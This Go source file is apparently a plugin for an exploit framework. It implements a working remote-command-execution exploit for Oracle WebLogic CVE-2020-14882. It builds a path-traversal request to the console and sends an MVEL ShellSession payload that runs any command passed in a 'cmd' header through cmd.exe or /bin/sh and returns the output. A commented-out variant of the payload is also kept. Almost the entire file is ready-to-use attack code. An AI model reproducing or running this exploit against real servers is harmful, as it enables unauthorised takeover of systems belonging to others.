package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	shttp "gitee.com/wudicaidou/menciis-shttp"
	"net/http"
	"net/url"
)

type WebLogicCve202014882 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp WebLogicCve202014882
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *WebLogicCve202014882) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "7ae6e4e5-591e-4b40-a550-cae961f90aea",
		VulId:   "e9a21443-1376-45ed-992b-1e2d6cb0c958",
		Name:    "WebLogic_CVE_2020_14882-rce",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *WebLogicCve202014882) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := *reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()
	newUrl, err := url.Parse(baseUrl + `/console/images/%252E%252E%252Fconsole.portal`)
	if err != nil {
		return nil, err
	}
	for _, cmd := range expContext.CommandToExecute {
		req.RawRequest.Method = http.MethodPost
		req.RawRequest.Close = true
		req.RawRequest.URL = newUrl
		req.RawRequest.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36")
		req.RawRequest.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
		req.RawRequest.Header.Add("Connection", "close")
		req.RawRequest.Header.Del("cmd")
		req.RawRequest.Header.Add("cmd", cmd)
		req.RawRequest.Header.Add("Accept-Encoding", "identity")
		req.RawRequest.Header.Add("Content-Type", "application/x-www-form-urlencoded")
		//req.SetBody([]byte(("_nfpb=false&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\nweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\njava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\nfield.setAccessible(true);\nObject obj = field.get(adapter);\nweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\nString cmd = req.getHeader(\"cmd\");\nString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\nif (cmd != null) {\n    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\n weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\n    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\n    res.getServletOutputStream().flush();\n    res.getWriter().write(\"\");\n}executeThread.interrupt();\n\");")))
		req.SetBody([]byte(`?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')`))
		client, _ := shttp.NewDefaultClient(nil)

		resp, err := client.Do(context.Background(), &req)
		if err != nil {
			return nil, err
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}
func (t *WebLogicCve202014882) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *WebLogicCve202014882) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
